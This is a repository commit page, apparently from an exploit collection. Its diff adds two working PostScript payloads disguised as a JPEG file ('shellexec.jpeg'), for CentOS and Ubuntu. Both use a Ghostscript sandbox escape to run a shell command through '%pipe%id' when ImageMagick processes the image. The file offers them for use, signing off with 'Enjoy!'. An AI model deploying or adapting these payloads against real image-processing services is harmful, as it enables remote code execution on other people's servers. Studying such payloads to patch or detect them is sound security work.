ImageMagick Ghostscript RCE
ImageMagick Ghostscript RCE
This commit is contained in:
parent
da9adbc91d
commit
58da2f0774
@ -5,11 +5,27 @@
|
||||
### Centos
|
||||
|
||||
```
|
||||
|
||||
$ cat shellexec.jpeg
|
||||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
legal
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
### Ubuntu
|
||||
|
||||
```
|
||||
|
||||
$ cat shellexec.jpeg
|
||||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
## Enjoy!
|
||||
|
Loading…
x
Reference in New Issue
Block a user